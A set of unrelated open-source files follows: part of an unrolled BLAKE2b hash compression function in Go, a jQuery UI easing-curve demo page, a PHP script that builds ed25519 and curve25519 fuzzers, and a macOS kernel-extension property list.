^= v1 v13 = v13<<(64-16) | v13>>16 v9 += v13 v5 ^= v9 v5 = v5<<(64-63) | v5>>63 v0 += m[9] v0 += v4 v12 ^= v0 v12 = v12<<(64-16) | v12>>16 v8 += v12 v4 ^= v8 v4 = v4<<(64-63) | v4>>63 v0 += m[2] v0 += v5 v15 ^= v0 v15 = v15<<(64-32) | v15>>32 v10 += v15 v5 ^= v10 v5 = v5<<(64-24) | v5>>24 v1 += m[5] v1 += v6 v12 ^= v1 v12 = v12<<(64-32) | v12>>32 v11 += v12 v6 ^= v11 v6 = v6<<(64-24) | v6>>24 v2 += m[4] v2 += v7 v13 ^= v2 v13 = v13<<(64-32) | v13>>32 v8 += v13 v7 ^= v8 v7 = v7<<(64-24) | v7>>24 v3 += m[15] v3 += v4 v14 ^= v3 v14 = v14<<(64-32) | v14>>32 v9 += v14 v4 ^= v9 v4 = v4<<(64-24) | v4>>24 v2 += m[0] v2 += v7 v13 ^= v2 v13 = v13<<(64-16) | v13>>16 v8 += v13 v7 ^= v8 v7 = v7<<(64-63) | v7>>63 v3 += m[8] v3 += v4 v14 ^= v3 v14 = v14<<(64-16) | v14>>16 v9 += v14 v4 ^= v9 v4 = v4<<(64-63) | v4>>63 v1 += m[10] v1 += v6 v12 ^= v1 v12 = v12<<(64-16) | v12>>16 v11 += v12 v6 ^= v11 v6 = v6<<(64-63) | v6>>63 v0 += m[6] v0 += v5 v15 ^= v0 v15 = v15<<(64-16) | v15>>16 v10 += v15 v5 ^= v10 v5 = v5<<(64-63) | v5>>63 // Round 5. v0 += m[9] v0 += v4 v12 ^= v0 v12 = v12<<(64-32) | v12>>32 v8 += v12 v4 ^= v8 v4 = v4<<(64-24) | v4>>24 v1 += m[5] v1 += v5 v13 ^= v1 v13 = v13<<(64-32) | v13>>32 v9 += v13 v5 ^= v9 v5 = v5<<(64-24) | v5>>24 v2 += m[2] v2 += v6 v14 ^= v2 v14 = v14<<(64-32) | v14>>32 v10 += v14 v6 ^= v10 v6 = v6<<(64-24) | v6>>24 v3 += m[10] v3 += v7 v15 ^= v3 v15 = v15<<(64-32) | v15>>32 v11 += v15 v7 ^= v11 v7 = v7<<(64-24) | v7>>24 v2 += m[4] v2 += v6 v14 ^= v2 v14 = v14<<(64-16) | v14>>16 v10 += v14 v6 ^= v10 v6 = v6<<(64-63) | v6>>63 v3 += m[15] v3 += v7 v15 ^= v3 v15 = v15<<(64-16) | v15>>16 v11 += v15 v7 ^= v11 v7 = v7<<(64-63) | v7>>63 v1 += m[7] v1 += v5 v13 ^= v1 v13 = v13<<(64-16) | v13>>16 v9 += v13 v5 ^= v9 v5 = v5<<(64-63) | v5>>63 v0 += m[0] v0 += v4 v12 ^= v0 v12 = v12<<(64-16) | v12>>16 v8 += v12 v4 ^= v8 v4 = v4<<(64-63) | v4>>63 v0 += m[14] v0 += v5 v15 ^= v0 v15 = v15<<(64-32) | v15>>32 v10 += v15 v5 ^= v10 v5 = v5<<(64-24) | v5>>24 v1 += m[11] v1 += v6 v12 ^= v1 v12 = v12<<(64-32) | v12>>32 v11 += v12 v6 ^= v11 v6 = v6<<(64-24) | v6>>24 v2 += m[6] v2 += v7 v13 ^= v2 v13 = v13<<(64-32) | v13>>32 v8 += v13 v7 ^= v8 v7 = v7<<(64-24) | v7>>24 v3 += m[3] v3 += v4 v14 ^= v3 v14 = v14<<(64-32) | v14>>32 v9 += v14 v4 ^= v9 v4 = v4<<(64-24) | v4>>24 v2 += m[8] v2 += v7 v13 ^= v2 v13 = v13<<(64-16) | v13>>16 v8 += v13 v7 ^= v8 v7 = v7<<(64-63) | v7>>63 v3 += m[13] v3 += v4 v14 ^= v3 v14 = v14<<(64-16) | v14>>16 v9 += v14 v4 ^= v9 v4 = v4<<(64-63) | v4>>63 v1 += m[12] v1 += v6 v12 ^= v1 v12 = v12<<(64-16) | v12>>16 v11 += v12 v6 ^= v11 v6 = v6<<(64-63) | v6>>63 v0 += m[1] v0 += v5 v15 ^= v0 v15 = v15<<(64-16) | v15>>16 v10 += v15 v5 ^= v10 v5 = v5<<(64-63) | v5>>63 // Round 6. v0 += m[2] v0 += v4 v12 ^= v0 v12 = v12<<(64-32) | v12>>32 v8 += v12 v4 ^= v8 v4 = v4<<(64-24) | v4>>24 v1 += m[6] v1 += v5 v13 ^= v1 v13 = v13<<(64-32) | v13>>32 v9 += v13 v5 ^= v9 v5 = v5<<(64-24) | v5>>24 v2 += m[0] v2 += v6 v14 ^= v2 v14 = v14<<(64-32) | v14>>32 v10 += v14 v6 ^= v10 v6 = v6<<(64-24) | v6>>24 v3 += m[8] v3 += v7 v15 ^= v3 v15 = v15<<(64-32) | v15>>32 v11 += v15 v7 ^= v11 v7 = v7<<(64-24) | v7>>24 v2 += m[11] v2 += v6 v14 ^= v2 v14 = v14<<(64-16) | v14>>16 v10 += v14 v6 ^= v10 v6 = v6<<(64-63) | v6>>63 v3 += m[3] v3 += v7 v15 ^= v3 v15 = v15<<(64-16) | v15>>16 v11 += v15 v7 ^= v11 v7 = v7<<(64-63) | v7>>63 v1 += m[10] v1 += v5 v13 ^= v1 v13 = v13<<(64-16) | v13>>16 v9 += v13 v5 ^= v9 v5 = v5<<(64-63) | v5>>63 v0 += m[12] v0 += v4 v12 ^= v0 v12 = v12<<(64-16) | v12>>16 v8 += v12 v4 ^= v8 v4 = v4<<(64-63) | v4>>63 v0 += m[4] v0 += v5 v15 ^= v0 v15 = v15<<(64-32) | v15>>32 v10 += v15 v5 ^= v10 v5 = v5<<(64-24) | v5>>24 v1 += m[7] v1 += v6 v12 ^= v1 v12 = v12<<(64-32) | v12>>32 v11 += v12 v6 ^= v11 v6 = v6<<(64-24) | v6>>24 v2 += m[15] v2 += v7 v13 ^= v2 v13 = v13<<(64-32) | v13>>32 v8 += v13 v7 ^= v8 v7 = v7<<(64-24) | v7>>24 v3 += m[1] v3 += v4 v14 ^= v3 v14 = v14<<(64-32) | v14>>32 v9 += v14 v4 ^= v9 v4 = v4<<(64-24) | v4>>24 v2 += m[14] v2 += v7 v13 ^= v2 v13 = v13<<(64-16) | v13>>16 v8 += v13 v7 ^= v8 v7 = v7<<(64-63) | v7>>63 v3 += m[9] v3 += v4 v14 ^= v3 v14 = v14<<(64-16) | v14>>16 v9 += v14 v4 ^= v9 v4 = v4<<(64-63) | v4>>63 v1 += m[5] v1 += v6 v12 ^= v1 v12 = v12<<(64-16) | v12>>16 v11 += v12 v6 ^= v11 v6 = v6<<(64-63) | v6>>63 v0 += m[13] v0 += v5 v15 ^= v0 v15 = v15<<(64-16) | v15>>16 v10 += v15 v5 ^= v10 v5 = v5<<(64-63) | v5>>63 // Round 7. v0 += m[12] v0 += v4 v12 ^= v0 v12 = v12<<(64-32) | v12>>32 v8 += v12 v4 ^= v8 v4 = v4<<(64-24) | v4>>24 v1 += m[1] v1 += v5 v13 ^= v1 v13 = v13<<(64-32) | v13>>32 v9 += v13 v5 ^= v9 v5 = v5<<(64-24) | v5>>24 v2 += m[14] v2 += v6 v14 ^= v2 v14 = v14<<(64-32) | v14>>32 v10 += v14 v6 ^= v10 v6 = v6<<(64-24) | v6>>24 v3 += m[4] v3 += v7 v15 ^= v3 v15 = v15<<(64-32) | v15>>32 v11 += v15 v7 ^= v11 v7 = v7<<(64-24) | v7>>24 v2 += m[13] v2 += v6 v14 ^= v2 v14 = v14<<(64-16) | v14>>16 v10 += v14 v6 ^= v10 v6 = v6<<(64-63) | v6>>63 v3 += m[10] v3 += v7 v15 ^= v3 v15 = v15<<(64-16) | v15>>16 v11 += v15 v7 ^= v11 v7 = v7<<(64-63) | v7>>63 v1 += m[15] v1 += v5 v13 ^= v1 v13 = v13<<(64-16) | v13>>16 v9 += v13 v5 ^= v9 v5 = v5<<(64-63) | v5>>63 v0 += m[5] v0 += v4 v12 ^= v0 v12 = v12<<(64-16) | v12>>16 v8 += v12 v4 ^= v8 v4 = v4<<(64-63) | v4>>63 v0 += m[0] v0 += v5 v15 ^= v0 v15 = v15<<(64-32) | v15>>32 v10 += v15 v5 ^= v10 v5 = v5<<(64-24) | v5>>24 v1 += m[6] v1 += v6 v12 ^= v1 v12 = v12<<(64-32) | v12>>32 v11 += v12 v6 ^= v11 v6 = v6<<(64-24) | v6>>24 v2 += m[9] v2 += v7 v13 ^= v2 v13 = v13<<(64-32) | v13>>32 v8 += v13 v7 ^= v8 v7 = v7<<(64-24) | v7>>24 v3 += m[8] v3 += v4 v14 ^= v3 v14 = v14<<(64-32) | v14>>32 v9 += v14 v4 ^= v9 v4 = v4<<(64-24) | v4>>24 v2 += m[2] v2 += v7 v13 ^= v2 v13 = v13<<(64-16) | v13>>16 v8 += v13 v7 ^= v8 v7 = v7<<(64-63) | v7>>63 v3 += m[11] v3 += v4 v14 ^= v3 v14 = v14<<(64-16) | v14>>16 v9 += v14 v4 ^= v9 v4 = v4<<(64-63) | v4>>63 v1 += m[3] v1 += v6 v12 ^= v1 v12 = v12<<(64-16) | v12>>16 v11 += v12 v6 ^= v11 v6 = v6<<(64-63) | v6>>63 v0 += m[7] v0 += v5 v15 ^= v0 v15 = v15<<(64-16) | v15>>16 v10 += v15 v5 ^= v10 v5 = v5<<(64-63) | v5>>63 // Round 8. v0 += m[13] v0 += v4 v12 ^= v0 v12 = v12<<(64-32) | v12>>32 v8 += v12 v4 ^= v8 v4 = v4<<(64-24) | v4>>24 v1 += m[7] v1 += v5 v13 ^= v1 v13 = v13<<(64-32) | v13>>32 v9 += v13 v5 ^= v9 v5 = v5<<(64-24) | v5>>24 v2 += m[12] v2 += v6 v14 ^= v2 v14 = v14<<(64-32) | v14>>32 v10 += v14 v6 ^= v10 v6 = v6<<(64-24) | v6>>24 v3 += m[3] v3 += v7 v15 ^= v3 v15 = v15<<(64-32) | v15>>32 v11 += v15 v7 ^= v11 v7 = v7<<(64-24) | v7>>24 v2 += m[1] v2 += v6 v14 ^= v2 v14 = v14<<(64-16) | v14>>16 v10 += v14 v6 ^= v10 v6 = v6<<(64-63) | v6>>63 v3 += m[9] v3 += v7 v15 ^= v3 v15 = v15<<(64-16) | v15>>16 v11 += v15 v7 ^= v11 v7 = v7<<(64-63) | v7>>63 v1 += m[14] v1 += v5 v13 ^= v1 v13 = v13<<(64-16) | v13>>16 v9 += v13 v5 ^= v9 v5 = v5<<(64-63) | v5>>63 v0 += m[11] v0 += v4 v12 ^= v0 v12 = v12<<(64-16) | v12>>16 v8 += v12 v4 ^= v8 v4 = v4<<(64-63) | v4>>63 v0 += m[5] v0 += v5 v15 ^= v0 v15 = v15<<(64-32) | v15>>32 v10 += v15 v5 ^= v10 v5 = v5<<(64-24) | v5>>24 v1 += m[15] v1 += v6 v12 ^= v1 v12 = v12<<(64-32) | v12>>32 v11 += v12 v6 ^= v11 v6 = v6<<(64-24) | v6>>24 v2 += m[8] v2 += v7 v13 ^= v2 v13 = v13<<(64-32) | v13>>32 v8 += v13 v7 ^= v8 v7 = v7<<(64-24) | v7>>24 v3 += m[2] v3 += v4 v14 ^= v3 v14 = v14<<(64-32) | v14>>32 v9 += v14 v4 ^= v9 v4 = v4<<(64-24) | v4>>24 v2 += m[6] v2 += v7 v13 ^= v2 v13 = v13<<(64-16) | v13>>16 v8 += v13 v7 ^= v8 v7 = v7<<(64-63) | v7>>63 v3 += m[10] v3 += v4 v14 ^= v3 v14 = v14<<(64-16) | v14>>16 v9 += v14 v4 ^= v9 v4 = v4<<(64-63) | v4>>63 v1 += m[4] v1 += v6 v12 ^= v1 v12 = v12<<(64-16) | v12>>16 v11 += v12 v6 ^= v11 v6 = v6<<(64-63) | v6>>63 v0 += m[0] v0 += v5 v15 ^= v0 v15 = v15<<(64-16) | v15>>16 v10 += v15 v5 ^= v10 v5 = v5<<(64-63) | v5>>63 // Round 9. v0 += m[6] v0 += v4 v12 ^= v0 v12 = v12<<(64-32) | v12>>32 v8 += v12 v4 ^= v8 v4 = v4<<(64-24) | v4>>24 v1 += m[14] v1 += v5 v13 ^= v1 v13 = v13<<(64-32) | v13>>32 v9 += v13 v5 ^= v9 v5 = v5<<(64-24) | v5>>24 v2 += m[11] v2 += v6 v14 ^= v2 v14 = v14<<(64-32) | v14>>32 v10 += v14 v6 ^= v10 v6 = v6<<(64-24) | v6>>24 v3 += m[0] v3 += v7 v15 ^= v3 v15 = v15<<(64-32) | v15>>32 v11 += v15 v7 ^= v11 v7 = v7<<(64-24) | v7>>24 v2 += m[3] v2 += v6 v14 ^= v2 v14 = v14<<(64-16) | v14>>16 v10 += v14 v6 ^= v10 v6 = v6<<(64-63) | v6>>63 v3 += m[8] v3 += v7 v15 ^= v3 v15 = v15<<(64-16) | v15>>16 v11 += v15 v7 ^= v11 v7 = v7<<(64-63) | v7>>63 v1 += m[9] v1 += v5 v13 ^= v1 v13 = v13<<(64-16) | v13>>16 v9 += v13 v5 ^= v9 v5 = v5<<(64-63) | v5>>63 v0 += m[15] v0 += v4 v12 ^= v0 v12 = v12<<(64-16) | v12>>16 v8 += v12 v4 ^= v8 v4 = v4<<(64-63) | v4>>63 v0 += m[12] v0 += v5 v15 ^= v0 v15 = v15<<(64-32) | v15>>32 v10 += v15 v5 ^= v10 v5 = v5<<(64-24) | v5>>24 v1 += m[13] v1 += v6 v12 ^= v1 v12 = v12<<(64-32) | v12>>32 v11 += v12 v6 ^= v11 v6 = v6<<(64-24) | v6>>24 v2 += m[1] v2 += v7 v13 ^= v2 v13 = v13<<(64-32) | v13>>32 v8 += v13 v7 ^= v8 v7 = v7<<(64-24) | v7>>24 v3 += m[10] v3 += v4 v14 ^= v3 v14 = v14<<(64-32) | v14>>32 v9 += v14 v4 ^= v9 v4 = v4<<(64-24) | v4>>24 v2 += m[4] v2 += v7 v13 ^= v2 v13 = v13<<(64-16) | v13>>16 v8 += v13 v7 ^= v8 v7 = v7<<(64-63) | v7>>63 v3 += m[5] v3 += v4 v14 ^= v3 v14 = v14<<(64-16) | v14>>16 v9 += v14 v4 ^= v9 v4 = v4<<(64-63) | v4>>63 v1 += m[7] v1 += v6 v12 ^= v1 v12 = v12<<(64-16) | v12>>16 v11 += v12 v6 ^= v11 v6 = v6<<(64-63) | v6>>63 v0 += m[2] v0 += v5 v15 ^= v0 v15 = v15<<(64-16) | v15>>16 v10 += v15 v5 ^= v10 v5 = v5<<(64-63) | v5>>63 // Round 10. v0 += m[10] v0 += v4 v12 ^= v0 v12 = v12<<(64-32) | v12>>32 v8 += v12 v4 ^= v8 v4 = v4<<(64-24) | v4>>24 v1 += m[8] v1 += v5 v13 ^= v1 v13 = v13<<(64-32) | v13>>32 v9 += v13 v5 ^= v9 v5 = v5<<(64-24) | v5>>24 v2 += m[7] v2 += v6 v14 ^= v2 v14 = v14<<(64-32) | v14>>32 v10 += v14 v6 ^= v10 v6 = v6<<(64-24) | v6>>24 v3 += m[1] v3 += v7 v15 ^= v3 v15 = v15<<(64-32) | v15>>32 v11 += v15 v7 ^= v11 v7 = v7<<(64-24) | v7>>24 v2 += m[6] v2 += v6 v14 ^= v2 v14 = v14<<(64-16) | v14>>16 v10 += v14 v6 ^= v10 v6 = v6<<(64-63) | v6>>63 v3 += m[5] v3 += v7 v15 ^= v3 v15 = v15<<(64-16) | v15>>16 v11 += v15 v7 ^= v11 v7 = v7<<(64-63) | v7>>63 v1 += m[4] v1 += v5 v13 ^= v1 v13 = v13<<(64-16) | v13>>16 v9 += v13 v5 ^= v9 v5 = v5<<(64-63) | v5>>63 v0 += m[2] v0 += v4 v12 ^= v0 v12 = v12<<(64-16) | v12>>16 v8 += v12 v4 ^= v8 v4 = v4<<(64-63) | v4>>63 v0 += m[15] v0 += v5 v15 ^= v0 v15 = v15<<(64-32) | v15>>32 v10 += v15 v5 ^= v10 v5 = v5<<(64-24) | v5>>24 v1 += m[9] v1 += v6 v12 ^= v1 v12 = v12<<(64-32) | v12>>32 v11 += v12 v6 ^= v11 v6 = v6<<(64-24) | v6>>24 v2 += m[3] v2 += v7 v13 ^= v2 v13 = v13<<(64-32) | v13>>32 v8 += v13 v7 ^= v8 v7 = v7<<(64-24) | v7>>24 v3 += m[13] v3 += v4 v14 ^= v3 v14 = v14<<(64-32) | v14>>32 v9 += v14 v4 ^= v9 v4 = v4<<(64-24) | v4>>24 v2 += m[12] v2 += v7 v13 ^= v2 v13 = v13<<(64-16) | v13>>16 v8 += v13 v7 ^= v8 v7 = v7<<(64-63) | v7>>63 v3 += m[0] v3 += v4 v14 ^= v3 v14 = v14<<(64-16) | v14>>16 v9 += v14 v4 ^= v9 v4 = v4<<(64-63) | v4>>63 v1 += m[14] v1 += v6 v12 ^= v1 v12 = v12<<(64-16) | v12>>16 v11 += v12 v6 ^= v11 v6 = v6<<(64-63) | v6>>63 v0 += m[11] v0 += v5 v15 ^= v0 v15 = v15<<(64-16) | v15>>16 v10 += v15 v5 ^= v10 v5 = v5<<(64-63) | v5>>63 // Round 11. v0 += m[0] v0 += v4 v12 ^= v0 v12 = v12<<(64-32) | v12>>32 v8 += v12 v4 ^= v8 v4 = v4<<(64-24) | v4>>24 v1 += m[2] v1 += v5 v13 ^= v1 v13 = v13<<(64-32) | v13>>32 v9 += v13 v5 ^= v9 v5 = v5<<(64-24) | v5>>24 v2 += m[4] v2 += v6 v14 ^= v2 v14 = v14<<(64-32) | v14>>32 v10 += v14 v6 ^= v10 v6 = v6<<(64-24) | v6>>24 v3 += m[6] v3 += v7 v15 ^= v3 v15 = v15<<(64-32) | v15>>32 v11 += v15 v7 ^= v11 v7 = v7<<(64-24) | v7>>24 v2 += m[5] v2 += v6 v14 ^= v2 v14 = v14<<(64-16) | v14>>16 v10 += v14 v6 ^= v10 v6 = v6<<(64-63) | v6>>63 v3 += m[7] v3 += v7 v15 ^= v3 v15 = v15<<(64-16) | v15>>16 v11 += v15 v7 ^= v11 v7 = v7<<(64-63) | v7>>63 v1 += m[3] v1 += v5 v13 ^= v1 v13 = v13<<(64-16) | v13>>16 v9 += v13 v5 ^= v9 v5 = v5<<(64-63) | v5>>63 v0 += m[1] v0 += v4 v12 ^= v0 v12 = v12<<(64-16) | v12>>16 v8 += v12 v4 ^= v8 v4 = v4<<(64-63) | v4>>63 v0 += m[8] v0 += v5 v15 ^= v0 v15 = v15<<(64-32) | v15>>32 v10 += v15 v5 ^= v10 v5 = v5<<(64-24) | v5>>24 v1 += m[10] v1 += v6 v12 ^= v1 v12 = v12<<(64-32) | v12>>32 v11 += v12 v6 ^= v11 v6 = v6<<(64-24) | v6>>24 v2 += m[12] v2 += v7 v13 ^= v2 v13 = v13<<(64-32) | v13>>32 v8 += v13 v7 ^= v8 v7 = v7<<(64-24) | v7>>24 v3 += m[14] v3 += v4 v14 ^= v3 v14 = v14<<(64-32) | v14>>32 v9 += v14 v4 ^= v9 v4 = v4<<(64-24) | v4>>24 v2 += m[13] v2 += v7 v13 ^= v2 v13 = v13<<(64-16) | v13>>16 v8 += v13 v7 ^= v8 v7 = v7<<(64-63) | v7>>63 v3 += m[15] v3 += v4 v14 ^= v3 v14 = v14<<(64-16) | v14>>16 v9 += v14 v4 ^= v9 v4 = v4<<(64-63) | v4>>63 v1 += m[11] v1 += v6 v12 ^= v1 v12 = v12<<(64-16) | v12>>16 v11 += v12 v6 ^= v11 v6 = v6<<(64-63) | v6>>63 v0 += m[9] v0 += v5 v15 ^= v0 v15 = v15<<(64-16) | v15>>16 v10 += v15 v5 ^= v10 v5 = v5<<(64-63) | v5>>63 // Round 12. v0 += m[14] v0 += v4 v12 ^= v0 v12 = v12<<(64-32) | v12>>32 v8 += v12 v4 ^= v8 v4 = v4<<(64-24) | v4>>24 v1 += m[4] v1 += v5 v13 ^= v1 v13 = v13<<(64-32) | v13>>32 v9 += v13 v5 ^= v9 v5 = v5<<(64-24) | v5>>24 v2 += m[9] v2 += v6 v14 ^= v2 v14 = v14<<(64-32) | v14>>32 v10 += v14 v6 ^= v10 v6 = v6<<(64-24) | v6>>24 v3 += m[13] v3 += v7 v15 ^= v3 v15 = v15<<(64-32) | v15>>32 v11 += v15 v7 ^= v11 v7 = v7<<(64-24) | v7>>24 v2 += m[15] v2 += v6 v14 ^= v2 v14 = v14<<(64-16) | v14>>16 v10 += v14 v6 ^= v10 v6 = v6<<(64-63) | v6>>63 v3 += m[6] v3 += v7 v15 ^= v3 v15 = v15<<(64-16) | v15>>16 v11 += v15 v7 ^= v11 v7 = v7<<(64-63) | v7>>63 v1 += m[8] v1 += v5 v13 ^= v1 v13 = v13<<(64-16) | v13>>16 v9 += v13 v5 ^= v9 v5 = v5<<(64-63) | v5>>63 v0 += m[10] v0 += v4 v12 ^= v0 v12 = v12<<(64-16) | v12>>16 v8 += v12 v4 ^= v8 v4 = v4<<(64-63) | v4>>63 v0 += m[1] v0 += v5 v15 ^= v0 v15 = v15<<(64-32) | v15>>32 v10 += v15 v5 ^= v10 v5 = v5<<(64-24) | v5>>24 v1 += m[0] v1 += v6 v12 ^= v1 v12 = v12<<(64-32) | v12>>32 v11 += v12 v6 ^= v11 v6 = v6<<(64-24) | v6>>24 v2 += m[11] v2 += v7 v13 ^= v2 v13 = v13<<(64-32) | v13>>32 v8 += v13 v7 ^= v8 v7 = v7<<(64-24) | v7>>24 v3 += m[5] v3 += v4 v14 ^= v3 v14 = v14<<(64-32) | v14>>32 v9 += v14 v4 ^= v9 v4 = v4<<(64-24) | v4>>24 v2 += m[7] v2 += v7 v13 ^= v2 v13 = v13<<(64-16) | v13>>16 v8 += v13 v7 ^= v8 v7 = v7<<(64-63) | v7>>63 v3 += m[3] v3 += v4 v14 ^= v3 v14 = v14<<(64-16) | v14>>16 v9 += v14 v4 ^= v9 v4 = v4<<(64-63) | v4>>63 v1 += m[2] v1 += v6 v12 ^= v1 v12 = v12<<(64-16) | v12>>16 v11 += v12 v6 ^= v11 v6 = v6<<(64-63) | v6>>63 v0 += m[12] v0 += v5 v15 ^= v0 v15 = v15<<(64-16) | v15>>16 v10 += v15 v5 ^= v10 v5 = v5<<(64-63) | v5>>63 h0 ^= v0 ^ v8 h1 ^= v1 ^ v9 h2 ^= v2 ^ v10 h3 ^= v3 ^ v11 h4 ^= v4 ^ v12 h5 ^= v5 ^ v13 h6 ^= v6 ^ v14 h7 ^= v7 ^ v15 p = p[BlockSize:] } d.h[0], d.h[1], d.h[2], d.h[3], d.h[4], d.h[5], d.h[6], d.h[7] = h0, h1, h2, h3, h4, h5, h6, h7 }
{ "pile_set_name": "Github" }
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>jQuery UI Effects - Easing demo</title> <link rel="stylesheet" href="../../themes/base/jquery.ui.all.css"> <script src="../../jquery-1.10.2.js"></script> <script src="../../ui/jquery.ui.effect.js"></script> <link rel="stylesheet" href="../demos.css"> <style> .graph { float: left; margin-left: 10px; } </style> <script> $(function() { if ( !$( "<canvas>" )[0].getContext ) { $( "<div>" ).text( "Your browser doesn't support canvas, which is required for this demo." ).appendTo( "#graphs" ); return; } var i = 0, width = 100, height = 100; $.each( $.easing, function( name, impl ) { var graph = $( "<div>" ).addClass( "graph" ).appendTo( "#graphs" ), text = $( "<div>" ).text( ++i + ". " + name ).appendTo( graph ), wrap = $( "<div>" ).appendTo( graph ).css( 'overflow', 'hidden' ), canvas = $( "<canvas>" ).appendTo( wrap )[ 0 ]; canvas.width = width; canvas.height = height; var drawHeight = height * 0.8, cradius = 10; ctx = canvas.getContext( "2d" ); ctx.fillStyle = "black"; // draw background ctx.beginPath(); ctx.moveTo( cradius, 0 ); ctx.quadraticCurveTo( 0, 0, 0, cradius ); ctx.lineTo( 0, height - cradius ); ctx.quadraticCurveTo( 0, height, cradius, height ); ctx.lineTo( width - cradius, height ); ctx.quadraticCurveTo( width, height, width, height - cradius ); ctx.lineTo( width, 0 ); ctx.lineTo( cradius, 0 ); ctx.fill(); // draw bottom line ctx.strokeStyle = "#555"; ctx.beginPath(); ctx.moveTo( width * 0.1, drawHeight + .5 ); ctx.lineTo( width * 0.9, drawHeight + .5 ); ctx.stroke(); // draw top line ctx.strokeStyle = "#555"; ctx.beginPath(); ctx.moveTo( width * 0.1, drawHeight * .3 - .5 ); ctx.lineTo( width * 0.9, drawHeight * .3 - .5 ); ctx.stroke(); // plot easing ctx.strokeStyle = "white"; ctx.beginPath(); ctx.lineWidth = 2; ctx.moveTo( width * 0.1, drawHeight ); $.each( new Array( width ), function( position ) { var state = position / width, val = impl( state, position, 0, 1, width ); ctx.lineTo( position * 0.8 + width * 0.1, drawHeight - drawHeight * val * 0.7 ); }); ctx.stroke(); // animate on click graph.click(function() { wrap .animate( { height: "hide" }, 2000, name ) .delay( 800 ) .animate( { height: "show" }, 2000, name ); }); graph.width( width ).height( height + text.height() + 10 ); }); }); </script> </head> <body> <div id="graphs"></div> <div class="demo-description"> <p><strong>All easings provided by jQuery UI are drawn above, using a HTML canvas element</strong>. Click a diagram to see the easing in action.</p> </div> </body> </html>
{ "pile_set_name": "Github" }
<?php function echoln($str) { echo $str; echo "\n"; } function usage($reason) { echoln("Usage: php build-nix.php [flags]"); echoln("Flags in parantheses are optional"); echoln(""); echoln(" --bits=[32,64]"); echoln(" --function=[curve25519,ed25519]"); echoln(" (--compiler=[*gcc,clang,icc]) which compiler to use, gcc is default"); echoln(" (--with-openssl) use openssl for SHA512"); echoln(" (--with-sse2) additionally fuzz against SSE2"); echoln(" (--no-asm) don't use platform specific asm"); echoln(""); if ($reason) echoln($reason); } function cleanup() { system("rm -f *.o"); } function runcmd($desc, $cmd) { echoln($desc); $ret = 0; system($cmd, $ret); if ($ret) { cleanup(); exit; } } class argument { var $set, $value; } class multiargument extends argument { function multiargument($flag, $legal_values) { global $argc, $argv; $this->set = false; $map = array(); foreach($legal_values as $value) $map[$value] = true; for ($i = 1; $i < $argc; $i++) { if (!preg_match("!--".$flag."=(.*)!", $argv[$i], $m)) continue; if (isset($map[$m[1]])) { $this->value = $m[1]; $this->set = true; return; } else { usage("{$m[1]} is not a valid parameter to --{$flag}!"); exit(1); } } } } class flag extends argument { function flag($flag) { global $argc, $argv; $this->set = false; $flag = "--{$flag}"; for ($i = 1; $i < $argc; $i++) { if ($argv[$i] !== $flag) continue; $this->value = true; $this->set = true; return; } } } $bits = new multiargument("bits", array("32", "64")); $function = new multiargument("function", array("curve25519", "ed25519")); $compiler = new multiargument("compiler", array("gcc", "clang", "icc")); $with_sse2 = new flag("with-sse2"); $with_openssl = new flag("with-openssl"); $no_asm = new flag("no-asm"); $err = ""; if (!$bits->set) $err .= "--bits not set\n"; if (!$function->set) $err .= "--function not set\n"; if ($err !== "") { usage($err); exit; } $compile = ($compiler->set) ? $compiler->value : "gcc"; $link = ""; $flags = "-O3 -m{$bits->value}"; $ret = 0; if ($with_openssl->set) $link .= " -lssl -lcrypto"; if (!$with_openssl->set) $flags .= " -DED25519_REFHASH -DED25519_TEST"; if ($no_asm->set) $flags .= " -DED25519_NO_INLINE_ASM"; if ($function->value === "curve25519") { runcmd("building ref10..", "{$compile} {$flags} curve25519-ref10.c -c -o curve25519-ref10.o"); runcmd("building ed25519..", "{$compile} {$flags} ed25519-donna.c -c -o ed25519.o"); if ($with_sse2->set) { runcmd("building ed25519-sse2..", "{$compile} {$flags} ed25519-donna-sse2.c -c -o ed25519-sse2.o -msse2"); $flags .= " -DED25519_SSE2"; $link .= " ed25519-sse2.o"; } runcmd("linking..", "{$compile} {$flags} {$link} fuzz-curve25519.c ed25519.o curve25519-ref10.o -o fuzz-curve25519"); echoln("fuzz-curve25519 built."); } else if ($function->value === "ed25519") { runcmd("building ref10..", "{$compile} {$flags} ed25519-ref10.c -c -o ed25519-ref10.o"); runcmd("building ed25519..", "{$compile} {$flags} ed25519-donna.c -c -o ed25519.o"); if ($with_sse2->set) { runcmd("building ed25519-sse2..", "{$compile} {$flags} ed25519-donna-sse2.c -c -o ed25519-sse2.o -msse2"); $flags .= " -DED25519_SSE2"; $link .= " ed25519-sse2.o"; } runcmd("linking..", "{$compile} {$flags} {$link} fuzz-ed25519.c ed25519.o ed25519-ref10.o -o fuzz-ed25519"); echoln("fuzz-ed25519 built."); } cleanup(); ?>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleDevelopmentRegion</key> <string>English</string> <key>CFBundleExecutable</key> <string>AppleACPIPS2Nub</string> <key>CFBundleIdentifier</key> <string>com.yourcompany.driver.AppleACPIPS2Nub</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>AppleACPIPS2Nub</string> <key>CFBundlePackageType</key> <string>KEXT</string> <key>CFBundleSignature</key> <string>????</string> <key>CFBundleVersion</key> <string>1.0.0d1</string> <key>IOKitPersonalities</key> <dict> <key>ACPI PS/2 Nub</key> <dict> <key>CFBundleIdentifier</key> <string>com.yourcompany.driver.AppleACPIPS2Nub</string> <key>IOClass</key> <string>AppleACPIPS2Nub</string> <key>IONameMatch</key> <array> <string>PNP0303</string> <string>PNP030B</string> </array> <key>IOProviderClass</key> <string>IOACPIPlatformDevice</string> <key>MouseNameMatch</key> <array> <string>PNP0F03</string> <string>PNP0F0B</string> <string>PNP0F0E</string> <string>PNP0F13</string> </array> </dict> </dict> <key>OSBundleLibraries</key> <dict> <key>com.apple.iokit.IOACPIFamily</key> <string>1.0.0d1</string> <key>com.apple.kpi.bsd</key> <string>8.0.0</string> <key>com.apple.kpi.iokit</key> <string>8.0.0</string> <key>com.apple.kpi.libkern</key> <string>8.0.0</string> <key>com.apple.kpi.mach</key> <string>8.0.0</string> <key>com.apple.kpi.unsupported</key> <string>8.0.0</string> </dict> <key>OSBundleRequired</key> <string>Root</string> </dict> 